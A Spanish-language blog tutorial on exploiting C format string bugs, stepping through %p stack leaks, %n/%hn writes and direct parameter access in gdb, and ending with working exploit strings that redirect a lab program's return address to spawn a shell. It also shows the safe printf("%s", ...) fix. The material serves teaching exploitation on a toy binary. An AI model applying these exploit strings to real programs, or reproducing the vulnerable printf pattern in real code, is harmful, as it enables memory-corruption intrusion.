Tal vez pensemos que conocemos bien como funciona esta cadena de formato, pero lo cierto es que cada vez que la estudio o miro un manual, más me sorprende, y cosas que en su momento ya sabía tengo que volver a refrescarlas o incluso volverlas a entender, debido a la complejidad de la misma.

No voy a explicar exhaustivamente como funciona la cadena de formato porque se supone que ya sabemos C, pero aquí está el manual.

Veamos la estructura básica de una vulnerabilidad de format string.

#include <stdio.h>
#include <stdlib.h>

void func(char *format) {
    printf(format);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    func(argv[1]);
    return 0;
}


Aquí tenemos una vulnerabilidad en el segundo printf (en negrita) debido a que el usuario puede controlar la cadena de formato. Esto es lo que nunca debemos permitir, que el usuario tenga control directo o indirecto sobre cómo se formatea la salida de una de estas funciones. Lo correcto hubiera sido hacer lo siguiente.

#include <stdio.h>
#include <stdlib.h>

void func(char *format) {
    printf("%s", format);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    func(argv[1]);
    return 0;
}


Nótese que ahora le estamos especificando a printf() que el formateo es simplemente una string. ¿Y por qué lo anterior no es bueno?, pues porque entonces el usuario puede hacer cosas como ésta.

$ ./format "%p . %p"
0x8000 . 0x8049ff4

Lo que he hecho es pasarle a la función una cadena que contiene directivas válidas como si una cadena de formato se tratara. Dado que esta cadena es usada directamente como cadena de formato, la función printf() interpreta estas directivas y comienza la diversión.
En el ejemplo que he puesto he pasado dos "%p", la directiva para imprimir un puntero. Como vemos, para el primer puntero se imprime "0x8000" y para el segundo "0x8049ff4". Sigámosle la pista a cómo se está comportanto printf()
  1. Comienza a parsear la cadena de formato.
  2. Encuentra el primer %p.
    1. Se dirige al segundo parámetro de la función (el primero es el puntero a la cadena de formato), donde se supone que está el valor correspondiente a ese %p.
    2. Dado que realmente a printf() no se le pasó un segundo parámetro se imprime lo que quiera que allí haya (basura), en este caso 0x8000.
  3. Se sigue parseando y se concatena en la salida " . ".
  4. Se encuentra el segundo %p.
    1. Se dirige al tercer parámetro, este valor está después del 0x8000 anterior (en este caso 0x8049ff4), y se imprime.
  5. Se termina de formatear y se envía a la salida el resultado.
Muchos ya saben lo que toca ahora, sacar información interesante de los stack frames... por ejemplo la dirección de retorno de func() :). Veamos el binario un poco con el gdb.

$ gdb -q format
Reading symbols from /path/format...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
   0x08048414 <+0>:    push   %ebp
   0x08048415 <+1>:    mov    %esp,%ebp
   0x08048417 <+3>:    sub    $0x18,%esp
   0x0804841a <+6>:    mov    0x8(%ebp),%eax
   0x0804841d <+9>:    mov    %eax,(%esp)
   0x08048420 <+12>:    call   0x8048320 <printf@plt>
   0x08048425 <+17>:    leave
   0x08048426 <+18>:    ret  
End of assembler dump.


En negrita he marcado la instrucción sub que reserva espacio para variables locales de main(), son 0x18 bytes (24) lo que se reserva. Con esta información ya podemos calcular que "parámetro" de printf() corresponde a la dirección de retorno de func().

(gdb) br *func+12
Punto de interrupción 1 at 0x8048420
(gdb) r "param"
Starting program: /path/format "param"

Breakpoint 1, 0x08048420 in func ()
(gdb) x/10x $esp
0xbffff2d0:    0xbffff543    0x00008000    0x08049ff4    0x08048491
0xbffff2e0:    0xffffffff    0xb7e54196    0xbffff308    0x08048468
0xbffff2f0:    0xbffff543    0x00000000


En rojo está el espacio reservado para variables locales, en azul el saved EBP y en verde la dirección de retorno. Teniendo en cuenta que el primer valor de todos es el primer parámetro para printf(), es decir la format string...

(gdb) x/s $esp[0]
Intentar desreferenciar un puntero genérico.

(gdb) x/s ((char **)$esp)[0]
0xbffff543:     "param"


Sí, en gdb se puede hacer cast. Podemos concluir que la dirección de retorno corresponde al "séptimo parámetro" de printf(). Vamos a comprobarlo ejecutando directamente.

$ ./format "%p . %p . %p . %p . %p . %p . (%p)"; echo ""
0x8000 . 0x8049ff4 . 0x8048491 . 0xffffffff . 0xb75a7196 . 0xbfd259e8 . (0x8048468)


Efectivamente vemos que hemos podido averiguar la dirección de retorno aprovechándonos de la format string.

Esto está muy bien, pero sólo nos sirve para leer datos de la pila y explorar el proceso, ¿sirve de algo? eso depende de lo que haya en la pila, estamos obteniendo información así que la criticidad de esto depende exclusivamente de la criticidad de la información.

Y a todo esto, ¿no habíamos dicho que las format strings son igual de peligrosas que los bof?, ¿cómo podemos ejecutar código a través de una vulnerabilidad de este tipo?. Ahora empieza lo (aun más) divertido, como ya comenté antes la cadena de formato contiene muchos misterios para un usuario normal de C. Solemos conocer cosas como que "%d" imprime un número en decimal, que "%s" imprime una string, algunos hasta saben retorcer más el formato y saben que "%7d" imprime un número en decimal con al menos 7 dígitos rellenados con espacios si fuere necesario y bastantes cosas más (algunas como DPA las veremos aquí). Sin embargo hay un formato menos conocido pero tremendamente interesante, "%n". Esta opción lo que hace es escribir en la zona de memoria apuntada por el correspondiente parámetro la cantidad de caracteres escritos hasta ese punto. Para ejemplificarlo veamos los resultados del siguiente programa.
#include <stdio.h>

int main() {
    int buf;

    printf("hola%n\n", &buf);
    printf("buf: %d\n", buf);
    printf("%d%n\n", 10, &buf);
    printf("buf: %d\n", buf);
}


El resultado de este programa es:

hola
buf: 4
10
buf: 2


En buf se pone el número de caracteres escritos hasta justo antes del %n.

Probemos ahora a ejecutar el programa anterior (el que tiene la vulnerabilidad) pasándole como parámetro "%n".

$ ./format "%n"
Violación de segmento (`core' generado)


Y ya sabemos lo que significa esto }:-).

Seguro que ya muchos ven por dónde van los tiros, ya no sólo podemos leer datos, ahora también tenemos una primitiva que escribe datos y con esto podemos empezar a jugar. Vamos a hacer la primera explotación de todas, la sencilla, llamar a otra función dentro del programa.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void shellcode() {
    char *args[] = { "/bin/sh", NULL };

    execve(args[0], args, NULL);
    exit(-1);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>.\n", argv[0]), exit(-1);

    printf(argv[1]);
    return 0;
}


Averiguamos dónde se encuentra shellcode().

$ objdump -d format2 | egrep "<shellcode>"
08048444 <shellcode>:


Ahora tenemos que averiguar dónde debemos poner esa dirección exactamente.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x0804847e <+0>:    push   %ebp
   0x0804847f <+1>:    mov    %esp,%ebp
   0x08048481 <+3>:    and    $0xfffffff0,%esp
   0x08048484 <+6>:    sub    $0x10,%esp
   0x08048487 <+9>:    cmpl   $0x2,0x8(%ebp)
   0x0804848b <+13>:    je     0x80484af <main+49>
   0x0804848d <+15>:    mov    0xc(%ebp),%eax
   0x08048490 <+18>:    mov    (%eax),%edx
   0x08048492 <+20>:    mov    $0x80485a8,%eax
   0x08048497 <+25>:    mov    %edx,0x4(%esp)
   0x0804849b <+29>:    mov    %eax,(%esp)
   0x0804849e <+32>:    call   0x8048340 <printf@plt>
   0x080484a3 <+37>:    movl   $0xffffffff,(%esp)
   0x080484aa <+44>:    call   0x8048360 <exit@plt>
   0x080484af <+49>:    mov    0xc(%ebp),%eax
   0x080484b2 <+52>:    add    $0x4,%eax
   0x080484b5 <+55>:    mov    (%eax),%eax
   0x080484b7 <+57>:    mov    %eax,(%esp)
   0x080484ba <+60>:    call   0x8048340 <printf@plt>
   0x080484bf <+65>:    mov    $0x0,%eax
   0x080484c4 <+70>:    leave 
   0x080484c5 <+71>:    ret   
End of assembler dump.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r "prueba"
Starting program: /path/format2 "prueba"

Breakpoint 1, 0x080484ba in main ()
(gdb) x/20xw $esp
0xbffff2e0:    0xbffff541    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0xb7fdc858
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffff300:
 eip = 0x80484ba in main; saved eip 0xb7e3a4d3
 Arglist at 0xbffff2f8, args:
 Locals at 0xbffff2f8, Previous frame's sp is 0xbffff300
 Saved registers:
  ebp at 0xbffff2f8, eip at 0xbffff2fc


Aquí mostramos el lugar donde se encuentra la dirección de retorno de main() (en verde). Vemos que está en el séptimo parámetro del printf(). Ahí es donde tenemos que conseguir poner el valor 0x08048444 que corresponde a shellcode(). Para lograr esto usando %n tendríamos que escribir un total de 0x08048444 = 134513732 caracteres.

Podemos ahora construir una string para pasársela al programa que le haga escribir entre los 6 primeros parámetros todos esos caracteres y luego sobreescriba la dirección de retorno.

$ ./format2 "`perl -e 'print "%22418955d"x5 . "%22418957d" . "%n"'`"

Si probamos a ejecutar esto lo que vamos a obtener es muchos, pero que muchos espacios. En mi caso he matado al programa ya que esto no es práctico y no tengo ganas de saber cuanto va a tardar para saber si obtengo la consola o no. En general este esquema presenta dos grandes desventajas. La primera más obvia y que acabamos de ver es que necesitamos imprimir muchísimos caracteres y eso hace de la explotación algo lentísimo. La segunda y que no se ha visto tanto de manifiesto aquí es que, si quiero escribir muy alejado del comienzo de la pila tengo que añadir muchas directivas de conversión para poder alcanzar la zona de memoria a sobreescribir. En el ejemplo que hemos visto sólo estamos a 7 parámetros de distancia de lo que queremos sobreescribir, pero ¿y si estuviéramos a 100?. Vamos a ver como evitar estos dos problemas.

Existen otras directivas para las cadenas de formatos algo menos conocidas como es por ejemplo usar una "h" precediendo al tipo de conversión (%hd por ejemplo) para especificar que lo que se lee o se escribe no es un int sino un sHort int (2 bytes en vez de 4...). Esto nos sirve para escribir la dirección a la que retornar en dos tiempos usando muchos menos caracteres. Dado que el número a escribir es 0x08048444 lo que haremos será escribir primero 0x8444 caracteres y luego 0x0804.

En definitiva, lo que tenemos que hacer es lo siguiente:
  1. Conseguir que en la pila haya algún valor que apunte a la dirección donde se encuentra la dirección de retorno (¡que lío!) para usarlo junto con %n.
  2. Escribir suficientes caracteres para que cuando escribamos con %n, se ponga el número correcto.
  3. Consumir suficientes parámetros para que nuestro %n utilice la dirección que apunta a la dirección de retorno de main().
  4. Utilizar %n para sobreescribir la dirección.
Vayamos por partes, lo primero es conseguir que en la pila haya algún valor que apunte a la dirección de la dirección de retorno. Esto es bastante sencillo, simplemente tenemos que poner ese valor en nuestra string y en algún punto de la pila aparecerá. Vamos a ver todos los pasos que he seguido para hacer esto.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x0804847e <+0>:    push   %ebp
   0x0804847f <+1>:    mov    %esp,%ebp
   0x08048481 <+3>:    and    $0xfffffff0,%esp
   0x08048484 <+6>:    sub    $0x10,%esp
   0x08048487 <+9>:    cmpl   $0x2,0x8(%ebp)
   0x0804848b <+13>:    je     0x80484af <main+49>
   0x0804848d <+15>:    mov    0xc(%ebp),%eax
   0x08048490 <+18>:    mov    (%eax),%edx
   0x08048492 <+20>:    mov    $0x80485a8,%eax
   0x08048497 <+25>:    mov    %edx,0x4(%esp)
   0x0804849b <+29>:    mov    %eax,(%esp)
   0x0804849e <+32>:    call   0x8048340 <printf@plt>
   0x080484a3 <+37>:    movl   $0xffffffff,(%esp)
   0x080484aa <+44>:    call   0x8048360 <exit@plt>
   0x080484af <+49>:    mov    0xc(%ebp),%eax
   0x080484b2 <+52>:    add    $0x4,%eax
   0x080484b5 <+55>:    mov    (%eax),%eax
   0x080484b7 <+57>:    mov    %eax,(%esp)
   0x080484ba <+60>:    call   0x8048340 <printf@plt>
   0x080484bf <+65>:    mov    $0x0,%eax
   0x080484c4 <+70>:    leave 
   0x080484c5 <+71>:    ret   
End of assembler dump.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r "hola"
Starting program: /path/format2 "hola"

Breakpoint 1, 0x080484ba in main ()
(gdb) x/10xw $esp
0xbffff2f0:    0xbffff543    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff300:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff310:    0x00000002    0xbffff3a4


En la dirección 0xbffff30c (en verde) tenemos la dirección de retorno, vamos ahora a hacer que en algún sitio en la pila aparezca esta dirección.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf"'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/200xw $esp
0xbffff2f0:    0xbffff543    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff300:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff310:    0x00000002    0xbffff3a4    0xbffff3b0    0xb7fdc858


Omitimos datos...

0xbffff530:    0x6c707865    0x6974696f    0x662f676e    0x616d726f
0xbffff540:    0x0c003274    0x00bffff3    0x5f485353    0x4e454741
---Type <return> to continue, or q <return> to quit---
0xbffff550:    0x49505f54    0x38313d44    0x47003732    0x415f4750


Omitimos datos...

Usando perl, vuelvo a ejecutar pasándole una cadena que contiene los bytes con la dirección de la dirección de retorno (marcado en negrita). Después muestro dónde está esa cadena (marcada en rojo fuerte) omitiendo mucho de lo que me suelta el comando x/200xw $esp.

Podemos apreciar que efectivamente tenemos 0xbffff30c bastante abajo en la pila, pero que el número no se encuentra en una posición alineada a 4, esto es normal dado que es una cadena de bytes, que se pueden alinear en cualquier dirección dado que el tamaño de los bytes es 1. Pero no podemos tener ese valor partido ya que cuando vayamos a usarlo como un puntero (con el %n) al no estar alineado a 4 se producirá un fallo de acceso a memoria, ya que sólo se puede acceder a direcciones alineadas con el tamaño de los datos a los que se accede, es decir que cuando manejamos bytes se puede acceder a cualquier dirección, con short ints a direcciones múltiplo de 2 y a ints o punteros a direcciones alineadas a 4. Modificar esto en nuestro caso es bastante sencillo.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf" . "A"x3'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf" . "A"x3'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/200xw $esp
0xbffff2e0:    0xbffff540    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3


Omitimos datos...

0xbffff540:    0xbffff30c    0x00414141    0x5f485353    0x4e454741

Hemos añadido 3 bytes extras al final de la string (3 Aes) y con ello hemos conseguido que los bytes "\x0c\xf3\xff\xbf" se queden en una posición alineada a 4. Con esto ya tenemos en algún lado de la pila un valor alineado, que apunta a la dirección de retorno. Ahora tenemos que acceder a ese valor con %n, veamos cómo.

Lo primero a resolver es ¿qué parámetro sería el que corresponde a ese número? El dato se encuentra en 0xbffff540 y el primer parámetro de printf() descontando la propia cadena de formato está en 0xbffff2e4. La distancia entre ambos pues, es 0xbffff540 - 0xbffff2e4 = 0x25c = 604 bytes, o lo que es lo mismo 151 parámetros. Entonces según lo que sabemos, tendríamos que poner 150 directivas ("%d" por ejemplo) en nuestra string antes del "%n". Eso puede ser un supercoñazo si no se porque tenemos perl ("%d"x150), pero tampoco hace falta hacer eso.

Vamos a ver ahora lo que se conoce como Direct Parameter Access (DPA). La cadena de formato permite que las directivas puedan acceder al parámetro que sea y no al que les corresponde, para ello se antepone al caracter de conversión (y caracteres de relleno y longitud si los hubiere) el número del parámetro a acceder y un '$'. En nuestro ejemplo, para acceder al parámetro 151 hacemos lo siguiente.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf" . "%151\\$n" . "A"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf" . "%151\\$n" . "A"'`

(gdb) x/20xw $esp
0xbffff2e0:    0xbffff53c    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0xb7fdc858
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000
(gdb) nexti
0x080484bf in main ()
(gdb) x/20xw $esp
0xbffff2e0:    0xbffff53c    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0x00000004
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000


Quiero hacer notar varias cosas, para empezar nótese que estamos usando DPA con el "%151$n", con lo que accedemos al parámetro 151. También debemos fijarnos en que antes del '$' he tenido que escaparlo con un par de barras para que llegara al programa (perl, bash y gdb por medio hacen que las cosas se lien un poco). También hay que darse cuenta que ya no añade 3 Aes, sino sólo una porque al añadir "%151$n" la cadena vuelve a cambiar su posición en memoria y hay que realinear su comienzo. Y finalmente también hay que darse cuenta de que al aumentar el tamaño del parámetro al programa (nuestra string) la dirección donde se encuentra la dirección de retorno también cambia.

Dicho esto podemos comprobar que en la dirección que queríamos (0xbffff30c) se modifica con la cantidad de bytes escritos hasta el momento (las dos posiciones marcadas en lila). Con esto sabemos que estamos accediendo correctamente a la dirección que hemos puesto al comienzo de la cadena. Ahora tendríamos que modificar esa dirección para que realmente se acceda a la dirección de retorno, pero entonces pondríamos allí un 4, con lo que saltaríamos a la posición 0x00000004 de memoria y a saber lo que pasaría entonces (probablemente SIGSEGV). Necesitamos poner alli el número 0x08048444 que es donde está shellcode, a donde queremos saltar.

Para lograr poner el número que queremos vamos a usar más características que nos permiten las cadenas de formato. Vamos a aprovecharnos de la posibilidad de ponerle relleno a una conversión de la siguiente manera: "<dirección del retorno><caracteres de relleno>%151$n<relleno para que se alinee a 4>".

Por ahora vamos a obviar la dirección del retorno, la pondremos al final. Centrémonos en los caracteres de relleno. Necesitamos que aquí se escriban los 0x0804844 - 4 = 134513728 caracteres para que cuando se escriba en la dirección de retorno entre el número que queremos (dirección de shellcode()).

La cadena resultante de esto es "\xAA\xBB\xCC\xDD%134513728d%151$nAAAAAA". En rojo tenemos la parte donde debe ir la dirección del retorno, en naranja el relleno para imprimir suficientes caracteres, en verde la sobreescribura y las Aes para rellenar y conseguir alinear a 4. Si probamos a ejecutar eso incurriremos en uno de los problemas anteriores, muchísimos espacios y una ejecución que tarda demasiado.

Veremos ahora cómo conseguir hacer el relleno de otra forma para hacerlo más práctico. Se trata de usar más características de las cadenas de formato para conseguir la sobreescritura en 2 pasos mediante el uso del indicador de longitud que también permiten (¿no son las cadenas de formato como un iceberg?, están ahí pero por debajo son mucho más grandes). A la hora de hacer una conversión se le puede especificar el tamaño de la misma, poniendo cierta letra delante de la letra del formato de conversión. Por ejemplo, "%d" imprime un entero de 4 bytes, mientras que "%hd" imprime un entero de 2 bytes. A su vez "%hn" escribe el número de bytes en un entero de 2 bytes y no de 4 como hace "%n".

Sabiendo esto, lo que haremos será primero escribir en la parte baja de la dirección del retorno y luego en la parte alta, de forma que la primera vez tendremos que escribir 0x8444 = 33860 bytes y la segunda 0x0804 = 2052 bytes. Aquí aparece un nuevo problema (que raro). Debido a cómo funciona "%n" la primera vez necesitaré que se hayan escrito 33860 bytes y la segunda sólo 2052, pero no puedo "volver atrás" una vez he escrito los 33860. Para conseguir el efecto que queremos (que en la parte baja se escriba 33680 y en la alta 2052) tenemos que jugar un poco con las matemáticas y con cómo mueve los datos el procesador. Si se intenta escribir un número mayor de dos bytes (65535) en un short int la parte alta de ese número se desprecia. Veámoslo con un ejemplo, imaginemos que queremos, con esta técnica, que un entero tome el valor 0x00010002. El programa podría ser algo como esto.

#include <stdio.h>

int main() {
    int a;
    unsigned int b;
    unsigned short *pl, *ph;

    a = 0;


    // pl apunta a los 2 bytes menos significativos de b.
    pl = (short *)&b;


    
    // ph apunta a los 2 bytes más significativos de b.
    ph = (short *)(((int)(&b))+2);


    // Las directivas %hn rellenan b a traves de pl y ph.
    printf("AA%hn%<relleno?>d%hn\n", pl, a, ph);
    printf("%08x\n", b);
}


Dado que al principio escribimos dos Aes, cuando lleguemos a la impresión del segundo número ya habremos escrito dos caracteres, así que al volver a imprimir en el segundo %hn se pondrá 3 (debido a que a contiene un 0 que utiliza un caracter para imprimirse) y no 1.

¿Cómo salvar esta situación? con un truquillo algo oscuro. Dado que en la segunda escritura ya no podemos reducir el número de caracteres impresos y sabiendo que cuando escribimos un número en la posición de memoria de un short se desprecian los dos bytes superiores, lo que podemos hacer es, después de la primera impresión, imprimir hasta 0x10001 caracteres de forma que en el segundo %hn se intentará poner en un short el valor 0x10001 pero al ser demasiado grande se despreciarán los 2 bytes superiores, quedándose la zona de memoria escrita con 0x0001. Generalizando podemos decir que si hasta un punto concreto hemos escrito x bytes y luego necesitamos escribir y bytes, siendo x > y, entonces tendremos que escribir 0x10000 + y bytes = z bytes. Y el relleno a poner deberá ser de z - x bytes. Uhmmm... volviendo al ejemplo.

x = 2
y = 1
z = 0x10000 + 1 = 0x10001
relleno = 0x10001 - 2 = 0xffff = 65535

#include <stdio.h>

int main() {
    int a;
    unsigned int b;
    unsigned short *pl, *ph;

    a = 0;
    pl = (short *)&b;
    ph = (short *)(((int)(&b))+2);
    printf("AA%hn%65535d%hn\n", pl, a, ph);
    printf("%08x\n", b);
}


Nótese que hemos puesto en el relleno el valor calculado anteriormente. El resultado de la ejecución es el siguiente:

<65534 espacios>000010002

Vemos como efectivamente b toma el valor que queremos. Se que esto ha sido bastante coñazo y difícil de seguir, so sorry.

Volvamos ahora a nuestro ejemplo con la vulnerabilidad e intentemos aplicar esta técnica. Esta fue la última string que usamos "\xAA\xBB\xCC\xDD134513728%d%151$hAAAAAA" y vimos que no podemos usar un relleno tan grande. Intentemos ahora reescribir el relleno usando la técnica que acabamos de mostrar.

El número que queremos escribir es la dirección de shellcode (0x08048444), lo dividimos en dos trozos, el primero de 0x8444 = 33860 bytes y el segundo de 0x0804 = 2052 bytes. Claramente el primer trozo es más grande que el segundo, por lo tanto para escribir el segundo necesitaremos un relleno de 0x10000 + 0x804 - 0x8444 =  0x83c0 = 33728 bytes. Nuestra string quedaría entonces así "\xAA\xBB\xCC\xDD\xAA+2\xBB\xCC\xDD%33852d%152$hn%33728d%153$hnA".

Vamos a explicarla un poco, para empezar hemos añadido una nueva dirección al principio, ¿por qué?. Dado que ahora vamos a hacer la sobreescritura en 2 pasos, necesitamos tener en la pila la dirección donde escribir en cada uno de ellos, es decir la dirección de la parte baja de la dirección de retorno y la parte alta, por ello en la segunda he puesto un "\xAA+2" para especificar que lo único que cambia es que esa segunda dirección apunta a 2 bytes más altos que la dirección anterior. Luego se ha añadido la primera impresión que deberá escribir hasta 0x8444 bytes (la parte baja de la dirección de shellcode()), dado que antes del número que se imprima ahí ya hemos escrito los 8 bytes de las dos direcciones, hace falta restarlos de los 0x8444 = 33860 bytes necesarios, es decir que necesitaremos un primer relleno de 33852 bytes. Luego usamos DPA junto con "%hn" para escribir la mitad de la dirección de retorno, notarás que antes accedía al parámetro 151 y ahora accedo al 152, esto es debido a que al añadir 4 bytes más al principio de la string (la nueva dirección) la string no acaba en el mismo sitio de antes, depurando con gdb podemos averiguar la nueva distancia. Seguidamente volvemos a escribir otro número con su correspondiente relleno para que se escriban 0x0804 bytes como explicamos anteriormente. Luego usando de nuevo DPA y "%hn" accedemos al siguiente parámetro (la nueva dirección que hemos puesto) y sobreescribimos la parte alta de la dirección de retorno, donde nos quedará 0x08048444 (la dirección de shellcode()). Finalmente añadimos las Aes necesarias para que el comienzo de la string quede alineada a 4.

Veámoslo en directo desde el gdb.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba

(gdb) r `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`

Breakpoint 1, 0x080484ba in main ()

(gdb) x/200xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3


<Omito muchos datos>

0xbffff520:    0xbffff2dc    0xbffff2de    0x38333325    0x25643235
0xbffff530:    0x24323531    0x3333256e    0x64383237    0x33353125
0xbffff540:    0x416e6824    0x53530041    0x47415f48    0x5f544e45


<Omito más datos>

(gdb) nexti

<Omito todos los caracteres espacio y la impresión de números>

(gdb) x/8xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0x08048444


Si hemos seguido con atención todo lo que hemos ido haciendo y mostrando habremos observado que la dirección de retorno ha cambiado y ahora apunta a shellcode() }:-), si continuamos la ejecución desde este punto obtendremos la shell.

(gdb) cont
Continuando.
process 6121 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
$ whoami
ole
$ exit

[Inferior 1 (process 6121) exited normally]


Et voilà! Hemos conseguido, a partir de un mal uso de las cadenas de formato sacarnos una shell! ¿no es fantástico? :D:D:D. Ahora pasemos a un entorno más salvaje, sin el gdb de por medio... aunque sin ASLR (ya hemos explicado cómo desactivarlo).

$ ./format2 `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`

<Impresión de los números con los espacios>

Violación de segmento (`core' generado)

Como era de esperar nos ha explotado en la cara jejeje. Al quitar del medio a gdb, como ya hemos visto en entradas anteriores, las cosas cambian de posición. Ahora mismo no estamos seguros ni de la dirección donde cae la dirección de retorno (nos invalida los 2 primeros valores de la string), ni la distancia entre cima de la pila y nuestra string (nos invalida los DPA para los "%hn"). Vamos a tener que calcularlo de nuevo.

Para averiguar la distancia entre la cima de la pila y el comienzo de nuestra string podemos abusar de la vulnerabilidad para que nos muestre zonas profundas de pila y buscar dónde comienza la string.

$ ./format2 "`perl -e 'print "A"x30 . "\n" . "%135\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x363836


Y tras unas cuantas iteraciones de ajuste...

$ ./format2 "`perl -e 'print "A"x30 . "\n" . "%140\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x41414141


Hemos obtenido el parámetro relativo donde comienza nuestra string, en este caso el 140. Aquí hay que hacer notar unas cuantas cosas, la primera es que la string que le estoy pasando al programa tiene 38 bytes, exactamente los mismos que he necesitado para la explotación dentro de gdb. Recordemos que si variamos este tamaño, la string se posicionará en otros lados, utilizo entonces los mismos bytes porque, presumiblemente, la string que voy a necesitar al final contendrá 38 bytes también.

Ahora tenemos que descubrir la dirección donde cae la dirección de retorno, para ello podemos usar el siguiente truquillo. Sabemos cómo es el stack frame de main() antes de llamar a printf(), lo hemos estado viendo anteriormente. Sabemos que la dirección de retorno correspondería al parámetro 8 de printf() y que argv correspondería al 10.

$ ./format2 "`perl -e 'print "A"x31 . "\n" . "%7\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xb7e3a4d3

$ ./format2 "`perl -e 'print "A"x31 . "\n" . "%9\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xbffff3c4


Ahora conocemos dónde cae argv cuando no hay gdb. Podemos volver a ejecutar con gdb y ver dónde está argv en ese caso para calcular cuánta distancia hay entre estas ejecuciones.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r `perl -e 'print "A"x37'`
Starting program: /path/format2 `perl -e 'print "A"x37'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/20xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff2e0:    0x00000002    0xbffff374    0xbffff380    0xb7fdc858
0xbffff2f0:    0x00000000    0xbffff31c    0xbffff380    0x00000000
0xbffff300:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000


Vemos que dentro de gdb argv toma el valor 0xbfffff374, entonces ¿cuántos bytes mete gdb por ahí? pues 0xbffff3c4 - 0xbffff374 = 0x50 = 80 bytes. ¿Qué pasará si probamos a explotar el programa con la misma string que usamos en gdb pero moviendo las direcciones 80 bytes y accediendo a los parámetros 140 y 141?.

$ ./format2 "`perl -e 'print "\x2c\xf3\xff\xbf\x2e\xf3\xff\xbf" . "%33852d" . "%140\\$n" . "%33728d" . "%141\\$hn" . "AA"'`"

<La correspondiente basura...>

13451$ whoami
ole
$ exit


Y efectivamente hemos obtenido la shell :).

Bueno, pues hasta aquí con los format strings attacks hasta el momento. Creo que hay material como para prácticar un buen rato hasta cogerle algo de soltura. Sí, sé que esto es bastante más complejo que un simple bof... ¡¿pero a que mola?!

Que levante la mano el que conocía todas estas características de las cadenas de formato y no conocía cómo explotarlas, que me quito el sombrero.

Saludos.